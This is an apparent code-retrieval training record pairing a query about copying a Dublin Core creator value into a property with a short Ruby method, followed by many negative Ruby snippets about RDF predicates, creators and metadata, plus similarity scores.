"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end"
] |
[
"0.67044514",
"0.662718",
"0.6604972",
"0.65883493",
"0.65368253",
"0.6496509",
"0.64837027",
"0.6424326",
"0.641749",
"0.6392473",
"0.6298476",
"0.6287444",
"0.6286463",
"0.6266979",
"0.626581",
"0.62240946",
"0.62192607",
"0.6218046",
"0.62096894",
"0.62060577",
"0.62044",
"0.6179713",
"0.6179713",
"0.61753047",
"0.6152015",
"0.614602",
"0.6130583",
"0.6097489",
"0.609029",
"0.60811514",
"0.6059424",
"0.6057237",
"0.60542727",
"0.6041952",
"0.6033721",
"0.60277885",
"0.6024502",
"0.6024502",
"0.6008483",
"0.6005338",
"0.5999314",
"0.5981089",
"0.5976382",
"0.59624505",
"0.59624505",
"0.59624505",
"0.5961144",
"0.5961144",
"0.5958762",
"0.59572923",
"0.59402746",
"0.59378827",
"0.59325707",
"0.59321773",
"0.59309244",
"0.59248704",
"0.59230345",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563",
"0.5922563"
] |
0.0
|
-1
|
Take property value from Sufia6F predicate DC.creator write it to the current property (which uses DC11.creator as the predicate)
|
def update_creator_of(object)
object.creator = object.get_values(::RDF::Vocab::DC.creator)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def creator=(name)\n creator = DCMES.new\n creator.content = name\n self.dc_creators = [creator]\n name\n end",
"def direct_write_predicate(predicate, value)\n ActiveRDF::FederationManager.add(self, predicate, value)\n end",
"def creator=(creator)\n @creator = creator.is_a?(Hash) ? Logan::Person.new(creator) : creator\n end",
"def primary_source=(value)\n value = value ? 'true' : 'false'\n predicate_set(:talia, :primary_source, value)\n end",
"def primary_source=(value)\n value = value ? 'true' : 'false'\n predicate_set(:talia, :primary_source, value)\n end",
"def set_creator\n @creator = Creator.find(params[:id])\n end",
"def set_creator(c)\n if self.creator_id \n remove_user_by_id(self.creator_id)\n end \n self.creator_id = c.id\n if self.save\n add_additional_user(c) \n true\n else\n false\n end \n end",
"def SetCreator(creator)\n\t\t#Creator of document\n\t\t@creator = creator\n\tend",
"def set_creator\n @creator = Author.find(params[:id])\n end",
"def make_property_query uuid, uri, property_key, property_predicate\n id_line =\n if uuid\n \"?doc <http://mu.semte.ch/vocabularies/core/uuid> \\\"#{uuid}\\\". \"\n else\n \" \"\n end\n\n s = uuid ? \"?doc\" : \"<#{uri}>\"\n\n predicate = property_predicate.is_a?(Hash) ? property_predicate[\"via\"] : property_predicate\n predicate_s = make_predicate_string predicate\n\n <<SPARQL\n SELECT DISTINCT ?#{property_key} WHERE {\n #{id_line}\n #{s} #{predicate_s} ?#{property_key}\n }\nSPARQL\nend",
"def full_creator \n if self._creator.blank? || self._creator.new_record?\n self._creator = creator_class.where(Redcrumbs.creator_primary_key => self.creator_id).first\n else\n self._creator\n end\n end",
"def [](predicate)\n predicate = N::URI.new(predicate) unless(predicate.kind_of?(N::URI))\n \n property_list = ActiveRDF::Query.new(object_class).distinct(:o).where(self, predicate, :o).execute\n \n PropertyList.new(predicate, property_list, self, source_exists?)\n end",
"def creator_id=(value)\n @creator_id = value\n end",
"def field_from_predicate(predicate)\n defined_prop = resource_class.properties.find { |_field_name, term| term.predicate == predicate }\n return unless defined_prop\n\n defined_prop.first\n end",
"def set_creator_metric\n @creator_metric = CreatorMetric.find(params[:id])\n end",
"def creator\n ( (source_record['100'] && source_record['100']['a']) || \n (source_record['110'] && source_record['110']['a']) || \n (source_record['111'] && source_record['111']['a']) || \n (source_record['245'] && source_record['245']['c'])\n )\n end",
"def set_creation\n # creation = Creation.find(params[:id])\n creation = Creation.where(user_id: params[:user_id])\n # Creation.where(user_id: params[:user_id], id: params[:id], cake_id: params[:cake_id])\n end",
"def creator\n values = super\n values = MetadataHelper.ordered( ordered_values: self.creator_ordered, values: values )\n return values\n end",
"def creator\n values = super\n values = MetadataHelper.ordered( ordered_values: self.creator_ordered, values: values )\n return values\n end",
"def calculate_creator_score(terms = nil, **opt)\n terms = opt.delete(:creator) || terms\n field_score(:dc_creator, terms, **opt)\n end",
"def convert_property(input, output, property, target_version)\n # Skipping these, those are automatically added.\n return nil if %w(VERSION PRODID).include?(property.name)\n\n parameters = property.parameters\n value_type = nil\n if parameters.key?('VALUE')\n value_type = parameters['VALUE'].value\n parameters.delete('VALUE')\n end\n\n value_type = property.value_type unless value_type\n\n new_property = output.create_property(\n property.name,\n property.parts,\n {}, # parameters will get added a bit later.\n value_type\n )\n\n if target_version == Tilia::VObject::Document::VCARD30\n if property.is_a?(Tilia::VObject::Property::Uri) && %w(PHOTO LOGO SOUND).include?(property.name)\n new_property = convert_uri_to_binary(output, new_property)\n elsif property.is_a? Tilia::VObject::Property::VCard::DateAndOrTime\n # In vCard 4, the birth year may be optional. This is not the\n # case for vCard 3. Apple has a workaround for this that\n # allows applications that support Apple's extension still\n # omit birthyears in vCard 3, but applications that do not\n # support this, will just use a random birthyear. We're\n # choosing 1604 for the birthyear, because that's what apple\n # uses.\n parts = Tilia::VObject::DateTimeParser.parse_v_card_date_time(property.value)\n if parts['year'].nil?\n new_value = format('1604-%02i-%02i', parts['month'].to_i, parts['date'].to_i)\n new_property.value = new_value\n new_property['X-APPLE-OMIT-YEAR'] = '1604'\n end\n\n if new_property.name == 'ANNIVERSARY'\n # Microsoft non-standard anniversary\n new_property.name = 'X-ANNIVERSARY'\n\n # We also need to add a new apple property for the same\n # purpose. This apple property needs a 'label' in the same\n # group, so we first need to find a groupname that doesn't\n # exist yet.\n x = 1\n loop do\n break if output.select(\"ITEM#{x}.\").empty?\n x += 1\n end\n output.add(\"ITEM#{x}.X-ABDATE\", new_property.value, 'VALUE' => 'DATE-AND-OR-TIME')\n output.add(\"ITEM#{x}.X-ABLABEL\", '_$!<Anniversary>!$_')\n end\n elsif property.name == 'KIND'\n case property.value.downcase\n when 'org'\n # vCard 3.0 does not have an equivalent to KIND:ORG,\n # but apple has an extension that means the same\n # thing.\n new_property = output.create_property('X-ABSHOWAS', 'COMPANY')\n when 'individual'\n # Individual is implicit, so we skip it.\n return nil\n when 'group'\n # OS X addressbook property\n new_property = output.create_property('X-ADDRESSBOOKSERVER-KIND', 'GROUP')\n end\n end\n elsif target_version == Tilia::VObject::Document::VCARD40\n # These properties were removed in vCard 4.0\n return nil if %w(NAME MAILER LABEL CLASS).include?(property.name)\n\n if property.is_a?(Tilia::VObject::Property::Binary)\n new_property = convert_binary_to_uri(output, new_property, parameters)\n elsif property.is_a?(Tilia::VObject::Property::VCard::DateAndOrTime) && parameters.key?('X-APPLE-OMIT-YEAR')\n # If a property such as BDAY contained 'X-APPLE-OMIT-YEAR',\n # then we're stripping the year from the vcard 4 value.\n parts = Tilia::VObject::DateTimeParser.parse_v_card_date_time(property.value)\n if parts['year'] == property['X-APPLE-OMIT-YEAR'].value.to_i\n new_value = format('--%02i-%02i', parts['month'], parts['date'])\n new_property.value = new_value\n end\n\n # Regardless if the year matched or not, we do need to strip\n # X-APPLE-OMIT-YEAR.\n parameters.delete('X-APPLE-OMIT-YEAR')\n end\n\n case property.name\n when 'X-ABSHOWAS'\n if property.value.upcase == 'COMPANY'\n new_property = output.create_property('KIND', 'ORG')\n end\n when 'X-ADDRESSBOOKSERVER-KIND'\n if property.value.upcase == 'GROUP'\n new_property = output.create_property('KIND', 'GROUP')\n end\n when 'X-ANNIVERSARY'\n new_property.name = 'ANNIVERSARY'\n # If we already have an anniversary property with the same\n # value, ignore.\n output.select('ANNIVERSARY').each do |anniversary|\n return nil if anniversary.value == new_property.value\n end\n when 'X-ABDATE'\n # Find out what the label was, if it exists.\n label = input[\"#{property.group}.X-ABLABEL\"]\n\n # We only support converting anniversaries.\n if property.group && label && label.value == '_$!<Anniversary>!$_'\n # If we already have an anniversary property with the same\n # value, ignore.\n output.select('ANNIVERSARY').each do |anniversary|\n return nil if anniversary.value == new_property.value\n end\n new_property.name = 'ANNIVERSARY'\n end\n # Apple's per-property label system.\n when 'X-ABLABEL'\n if new_property.value == '_$!<Anniversary>!$_'\n # We can safely remove these, as they are converted to\n # ANNIVERSARY properties.\n return nil\n end\n end\n end\n\n # set property group\n new_property.group = property.group\n\n if target_version == Tilia::VObject::Document::VCARD40\n convert_parameters40(new_property, parameters)\n else\n convert_parameters30(new_property, parameters)\n end\n\n # Lastly, we need to see if there's a need for a VALUE parameter.\n #\n # We can do that by instantating a empty property with that name, and\n # seeing if the default valueType is identical to the current one.\n temp_property = output.create_property(new_property.name)\n if temp_property.value_type != new_property.value_type\n new_property['VALUE'] = new_property.value_type\n end\n\n output.add(new_property)\n end",
"def creator=(args)\n unless args.is_a?(String) || args.is_a?(Array)\n raise ArgumentError, \"You must provide a string or an array. You provided #{args.inspect}\"\n end\n args = Array(args)\n if args.first.is_a?(String)\n return if args == [''] \n args.each do |creator_name|\n self.creator_attributes = [{name: creator_name, role: \"Uploader\"}]\n end\n else\n descMetadata.creator = args\n end\n end",
"def update!(**args)\n @predicate_encoded_mid = args[:predicate_encoded_mid] if args.key?(:predicate_encoded_mid)\n @property_name = args[:property_name] if args.key?(:property_name)\n @value = args[:value] if args.key?(:value)\n end",
"def creator=(values)\n super && self.ordered_creators = values.to_json\n end",
"def predicate\n return property if property.is_a?(RDF::Term)\n property_config[:predicate] if is_property?\n end",
"def creator\n \tUser.find_by_id(creator_id)\n end",
"def predicate_rdf(predicate, builder)\n builder.tag!(predicate.to_name_s) do\n # Get the predicate values\n self[predicate.to_s].each do |value|\n # If we have a (re)Source, we have to put in another description tag.\n # Otherwise, we will take just the string\n if(value.respond_to?(:uri))\n builder.rdf :Description, \"rdf:about\" => value.uri.to_s\n else\n builder.text!(value.to_s)\n end\n end # end predicate loop\n end # end tag!\n end",
"def is_creator?\n\t\tself.is_creator == 1\n\tend",
"def apply_depositor_metadata_properties(depositor_id, depositor_email)\n prop_ds = self.datastreams[\"properties\"]\n rights_ds = self.datastreams[\"rightsMetadata\"]\n \n if !prop_ds.nil? && prop_ds.respond_to?(:depositor_values)\n prop_ds.depositorEmail_values = depositor_email unless prop_ds.nil?\n prop_ds.depositor_values = depositor_id unless prop_ds.nil?\n end\n\n #We don't add the depositor_id to rights metadata on sets\n unless self.class == StructuralSet || self.class == DisplaySet\n rights_ds.update_indexed_attributes([:edit_access, :person]=>depositor_id) unless rights_ds.nil?\n end\n\n return true\n end",
"def make_content_creator\n\t\tself.usertype = \"content_creator\"\n\t\tself.save\n\tend",
"def populate_patient_name_details(patientinfo,value)\n if patientinfo\n if ((patientinfo.insured_last_name == \"SAME\") || (patientinfo.insured_first_name == \"SAME\"))\n val = \"patient_#{value}\"\n patientinfo.send(val)\n else\n val = \"insured_#{value}\"\n patientinfo.send(val)\n end\n end\n end",
"def creator\n creators = get_list(@xpaths[\"creators\"])\n return creators.map { |creator| { \"name\" => creator } }\n end",
"def creator\n User.find_by_id(self.creator_id)\n end",
"def firstOPFEdit(file)\n\topfcontents = File.read(file).gsub(/<dc:creator/,\"<dc:identifier id='isbn'>#{Metadata.eisbn}</dc:identifier><dc:creator id='creator'\")\n\topfcontents\nend",
"def update\n # if the creator already exists, get the creator and add to user's list\n creator = Creator.where(\"provider = ? AND p_id = ?\", params[\"provider\"], params[\"p_id\"])\n if !creator.exists?\n # if the creator does not exist, create creator and add to user's list\n creator = Creator.create(creator_hash(params))\n creator.get_content\n else\n # Creator.where method returns an array of creators. Need to pull out the first\n creator = creator.first\n end\n current_user.creators << creator if current_user.creators\n flash[:notice] = \"#{creator.username} has been added to your feed!\"\n redirect_to root_path\n end",
"def create\n @predicate = Predicate.new(params[:predicate])\n if @predicate.scope_type == 'Attribute type' && aspect?\n @predicate.project_id = current_aspect.id\n end\n\n respond_to do |format|\n if @predicate.save\n format.html { redirect_to @predicate, notice: 'Predicate was successfully created.' }\n format.json { render json: @predicate, status: :created, location: @predicate }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @predicate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_creator\n User.find_by_id(creator_id)\n end",
"def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end",
"def creator\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: creator_ordered, values: values )\n return values\n end",
"def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"def attr_predicate_accessor( attrname )\n\t\t\tattrname = attrname.to_s.chomp( '?' )\n\t\t\tattr_writer( attrname )\n\t\t\tattr_predicate( attrname )\n\t\tend",
"def created_by\n @created_by ||= PublicEarth::Db::Source.find_by_id(@attributes[:created_by_id])\n end",
"def generate_creator\n lambda do |record, accumulator, _context|\n accumulator << [record[DISPLAY_NAME], record[SUFFIX],\n artist_role_bio(record)].select(&:present?).join(', ').presence\n end\n end",
"def set_creator_node(fnode)\n @node.set_creator_node(fnode)\n end",
"def set_predicate\n @predicate = Predicate.find(params[:id])\n end",
"def update_dwc_occurrences\n if DWC_ATTRIBUTE_URIS.values.flatten.include?(predicate.uri)\n\n if attribute_subject.respond_to?(:set_dwc_occurrence)\n attribute_subject.set_dwc_occurrence\n end\n\n if attribute_subject.respond_to?(:update_dwc_occurrences)\n attribute_subject.update_dwc_occurrences\n end\n end\n end",
"def create_filter(filter)\n return nil,nil if filter.nil?\n\n db_adapter = MongoDBConv.new(@current_var, true) #do push 'or'\n\n db_expr,hop_expr = filter.db_conv(@parent, db_adapter) \n end",
"def create(attributes)\n attributes[:created_by] = attributes[:created_by].source if attributes[:created_by].kind_of? Atlas::User\n attributes[:created_by_id] = attributes[:created_by].id if attributes[:created_by].kind_of? Atlas::Source\n collection = new(attributes)\n collection.save!\n end",
"def create_filter(title, expression)\n filter = {\n \"userFilter\" => {\n \"content\" => {\n \"expression\" => expression\n },\n \"meta\" => {\n \"category\" => \"userFilter\",\n \"title\" => title\n }\n }\n }\n puts filter.to_json\n GoodData.post \"/gdc/md/#{@project_id}/obj\", filter\n end",
"def set_creator_node(creator_node)\n self.creator_node = creator_node\n end",
"def set_creator_id_if_appropriate\n if @record.respond_to? :creator_id=\n if current_user.nil?\n log \"Warning: @#{@record.base_model}.creator_id isn't being set, since current_user was nil.\"\n else\n @record.creator_id = current_user.id\n end\n end\n end",
"def update_contributor(header, val, processed)\n key = header.to_sym\n processed[key] ||= []\n processed[key] << { name: [val.strip] }\n end",
"def set_author\n @creator = Creator.find(params[:id])\n end",
"def test_predicate_accessor\n assert(@valid_source.predicate_set(:meetest, \"array_test_acc\", \"bla\"))\n assert_equal(@valid_source.predicate(:meetest, \"array_test_acc\"), @valid_source.meetest::array_test_acc)\n assert_equal(\"bla\", @valid_source.predicate(:meetest, \"array_test_acc\")[0])\n end",
"def test_direct_predicates\n my_source = make_dummy_source(\"http://direct_predicate_haver/\")\n my_source.talia::author << \"napoleon\"\n my_source.save!\n \n # Expected size of direct predicates: One for the predicate set above,\n # one for the default type and one for the default type\n assert_equal(3, my_source.direct_predicates.size, \"Direct predicates expected to have 3 elements. Real value: #{my_source.direct_predicates.inspect}\")\n assert(my_source.direct_predicates.include?(N::TALIA::author))\n end",
"def created_by\n @created_by ||= Underskog::User.new(@attrs['creator']) if\n @attrs['creator'].is_a?(Hash) and !@attrs['creator'].empty?\n end",
"def set_content_creator\n @content_creator = ContentCreator.find(params[:id])\n end",
"def record_custodian=(value)\n @children['record-custodian'][:value] = value\n end",
"def create(klass)\n klass.send(@creator, @conditions) if @creator\n end",
"def property_converter\n FedoraValue\n end",
"def set_linked_data(uri, factory, ld = nil)\n list_data = ld[self.uri]\n has_creator = self.get_property('http://rdfs.org/sioc/spec/has_creator', list_data, single: false) || []\n has_owner = self.get_property('http://purl.org/vocab/resourcelist/schema#hasOwner', list_data, single: false) || []\n published_by = self.get_property('http://purl.org/vocab/resourcelist/schema#publishedBy', list_data)\n self.created = self.get_date('http://purl.org/vocab/resourcelist/schema#created', list_data)\n self.creator = has_creator.map { |uri| factory.get(uri, ld: ld) }\n self.description = self.get_property('http://purl.org/vocab/resourcelist/schema#description', list_data)\n self.last_published = self.get_date('http://purl.org/vocab/resourcelist/schema#lastPublished', list_data)\n self.last_updated = self.get_date('http://purl.org/vocab/resourcelist/schema#lastUpdated', list_data)\n if self.modules.nil?\n mods = self.get_property('http://purl.org/vocab/resourcelist/schema#usedBy', list_data, single: false)\n self.modules = mods.map { |uri| factory.get(uri, ld: ld) } if mods\n end\n unless self.name\n self.name = self.get_property('http://rdfs.org/sioc/spec/name', list_data)\n end\n self.owner = has_owner.map { |uri| self.factory.get(uri, ld: ld) }\n self.publisher = self.factory.get(published_by, ld: ld)\n nil\n end",
"def producer\n #f = @properties.field('PRODID')\n #f && f.to_text\n @properties.text('PRODID').first\n end",
"def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end",
"def rdf_values(subject, property, value)\n ::JSON::LD::API.toRdf({'@id' => subject.to_s, property => value}, expandContext: context) do |statement|\n statement.object = RDF::Literal(statement.object.value) if statement.object.literal? && statement.object.language == :und\n yield statement\n end\n end",
"def make_predicate( attrtype )\n\t\tself.log.debug \"Generating an attribute predicate for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar predicate...\"\n\t\t\treturn lambda { self[attrname] ? true : false }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array predicate...\"\n\t\t\treturn lambda { self[attrname].any? {|val| val} }\n\t\tend\n\tend",
"def volatile(field)\n Concert.create(where: 'Coachella', year: 2010).read_attribute field\nend",
"def set_propertyvalue_propertywith_key(key, value)\n theProperty = self.get_property_withkey(key: key)\n theProperty[:cifiltervalue] = value unless theProperty.nil?\n end",
"def set_value(owner, value)\n values = value.to_s.split(/ +/)\n \n @properties.each_index do |index|\n break if index > values.length-1\n subproperties = @properties[index]\n\n subproperties.each do |subproperty|\n owner.set_property_value(subproperty, values[index])\n end\n end\n end",
"def creator # :nodoc:\n @context.users[@creator_id]\n end",
"def predicateUrl=(value)\n # SPEC CONFUSION: what's the point of having an array?\n table = self\n table = table.parent while table.parent && table.type != :Table\n self[:predicateUrl] = table && table.id ? table.id.join(value) : RDF::URI(value)\n end",
"def primary_source\n predicate(:talia, :primary_source) == true\n end",
"def primary_source\n predicate(:talia, :primary_source) == true\n end",
"def save_predicates_attributes # :nodoc:\n each_predicate do |namespace, name, objects|\n objects.each { |object| object.save if object.is_a?(Source) && object.new_record? }\n self.predicate_replace(namespace, name, objects.to_s) if predicate_changed?(namespace, name, objects)\n end\n end",
"def prepare_property_to_knowledge(property, this_knowledge_data)\n property = property.to_s\n\n this_knowledge_data ||= []\n found = this_knowledge_data.find { |data| data[:predicates].include?(property) }\n\n if found.nil? || found.empty?\n # add new\n\n identical_properties = @predicates_similarity.find_identical(property)\n\n found = {\n counter: 0,\n score: 0.0,\n predicates: identical_properties || [property.to_s]\n }\n\n this_knowledge_data << found\n end\n\n new_score = yield found\n\n\n found[:score] = new_score\n end",
"def creator_agent\n @creator_agent ||= agents.select{|x| x[:role] == 'CREATOR'}.first\n end",
"def make_filter(value, columns_mapped_to=nil)\n {@column_qualified => value}\n end",
"def dest(line)\n if line[/[=]/]\n return line[/^\\w+/].to_s\n elsif line[/;/]\n return \"\"\n end\n\n return \n end",
"def creator\n @page_creator ||= User.find_by_id(creator_id)\n return _('unknown') if @page_creator.nil?\n @page_creator.name\n end",
"def title=(value)\n node = @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRalias', a: NS)\n unless node\n node = @doc.create_element('FRBRalias')\n @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRuri', a: NS).after(node)\n end\n\n node['value'] = value\n end",
"def build_detail_fee_based\n details = self.invoice_details.new(:created_user => self.created_user, :record_type => InvoiceDetail::FEE, :provider_name => 'a',\n :patient_name => 'a', :dos => Date.today, :disposition => InvoiceDetail::INCLUDE)\n end",
"def save_predicates_attributes\n each_predicate do |namespace, name, objects|\n objects.each { |object| object.save if object.is_a?(Source) && object.new_record? }\n self.predicate_replace(namespace, name, objects.to_s) if changed?(namespace, name, objects)\n end\n end",
"def result\n nested_graph << RDF::Statement.new(value.subject, value.predicate, subject_uri)\n GraphProperty.new(value.subject, value.key, nested_graph, value.adapter, value.resource)\n end",
"def apply_depositor_metadata(depositor_id)\n prop_ds = self.datastreams[\"properties\"]\n rights_ds = self.datastreams[\"rightsMetadata\"]\n \n if !prop_ds.nil? && prop_ds.respond_to?(:depositor_values)\n prop_ds.depositor_values = depositor_id unless prop_ds.nil?\n end\n\t return true\n end",
"def update_principal(path, prop_patch)\n end",
"def creator_id # :nodoc:\n @creator_id.dup\n end",
"def add_property_filter(pattern, value)\n add_filter do |sql|\n sql.gsub(pattern, value)\n end\n end",
"def result\n new_values = value.value.map do |val|\n map_value(converted_value: val)\n end\n CompositeProperty.new(new_values)\n end",
"def show\n @creator = current_creator\n # if @creator == current_creator\n # @creator.links.build\n # end \n end",
"def add_property(stream, _backward = nil)\n stream = _backward if _backward\n log_property = Property.new(self,stream)\n if @properties.has_key?(log_property.name)\n raise ArgumentError, \"property '#{log_property.name}' already \"\\\n \"exists, probably from a different log stream\"\n end\n @properties[log_property.name] = log_property\n @property_reachable_blocks.each{|b|b.call(log_property.name)}\n return log_property\n end",
"def predicateUrl\n self.fetch(:predicateUrl) do\n self.predicateUrl = \"##{URI.encode(name)}\"\n self[:predicateUrl]\n end\n end",
"def add_predicate; end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n value: @resource[:value]\n }\n end",
"def method_missing(method, *params)\n property = method.to_s\n if property =~ /(.*)=$/ # It's a value assignment\n @newvalues ||= []\n @newvalues << $1\n @properties[$1] = clean_value(params[0])\n else\n if @properties.has_key?(property)\n if self.class.boolean_fields.include?(property)\n (@properties[property] == 1)\n else\n @properties[property]\n end\n else\n super\n end\n end\n end",
"def create_doctor(descr, authorizer)\n sparql = SPARQL::Client.new($repository)\n descr.each do |key, value|\n debug \"key = \" + key.to_s\n next if key == :hasComponentID || key == :hasSliceID # These *strings* are permitted to contain the \"urn\" substring\n if value.is_a?(Array)\n arr_value = value\n new_array = []\n arr_value.each do |v|\n v = create_or_update(v, false, authorizer).first.uri.to_s if v.is_a?(Hash) # create the described object\n gurn = OMF::SFA::Model::GURN.parse(v) # Assumes \"v\" is a urn\n unless gurn.type && gurn.name\n raise OMF::SFA::AM::Rest::UnsupportedBodyFormatException.new \"Invalid URN: \" + v.to_s\n end\n new_res = eval(\"SAMANT::#{gurn.type.camelize}\").for(gurn.to_s)\n unless sparql.ask.whether([new_res.to_uri, :p, :o]).true?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{new_res.inspect}' not found. Please create that first.\"\n end\n new_array << new_res\n end\n debug \"New Array contains: \" + new_array.inspect\n descr[key] = new_array\n else\n value = create_or_update(value, false, authorizer).first.uri.to_s if value.is_a?(Hash) # create the described object\n if value.include? \"urn\" # Object found, i.e uxv, sensor etc\n gurn = OMF::SFA::Model::GURN.parse(value)\n unless gurn.type\n raise OMF::SFA::AM::Rest::UnsupportedBodyFormatException.new \"Invalid URN: \" + value.to_s\n end\n descr[key] = eval(\"SAMANT::#{gurn.type.camelize}\").for(gurn.to_s)\n unless sparql.ask.whether([descr[key].to_uri, :p, :o]).true?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{descr[key].inspect}' not found. Please create that first.\"\n end\n elsif value.include? \"http\" # Instance found, i.e HealthStatus, Resource Status etc\n type = value.split(\"#\").last\n # type = value.split(\"#\").last.chop\n type = type.chop if type[-1,1] == \"/\"\n debug \"Type: \" + type\n # new_res = eval(\"SAMANT::#{type}\").for(\"\")\n new_res = eval(\"SAMANT::#{type.upcase}\")\n unless sparql.ask.whether([new_res.to_uri, :p, :o]).true?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{new_res.inspect}' not found. Please create that first.\"\n end\n descr[key] = new_res\n elsif value == \"nil\"\n descr[key] = nil\n end\n end\n end\n debug \"New Hash contains: \" + descr.inspect\n descr\n end",
"def save\n #see if PID is not yet specified in DC. Note that according the rest of the code, the PID is put in DC when the object is first saved. \n #That means the below expression becomes true only if this is the object is saved first time.\n update_dc_id = get_dc.identifier == \"\"\n \n #Save the object. This generates the PID if this is a new object.\n status = super\n \n dc = get_dc\n if update_dc_id && status\n \n dc.identifier = self.pid\n \n #We need to set up the following field at some point.\n dc.creator = \"TODO\" if dc.creator == \"\"\n dc.created = \"TODO\" if dc.created == \"\"\n \n #Since the DC is updated, let's save the object again.\n status = super \n end\n \n #Return the save status.\n return status\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end",
"def fix_property(new_property, fixed_date)\n\t\t# TODO: these should be executed atmicly\n\t\tcurrent = self.property\n\t\tPropertyFixHistory.create(user: self, new_property: new_property, fixed_date: fixed_date)\n\t\tself.update(property: new_property)\n\tend",
"def copy_for_eval(user)\n self.class.create(meal_id: meal_id, user_id: user.id, food_groups: food_groups,\n component_name: component_name, evaluating_id: id)\n end",
"def set_author\n author_reference.reference = \"Patient/#{user.icn}\"\n end",
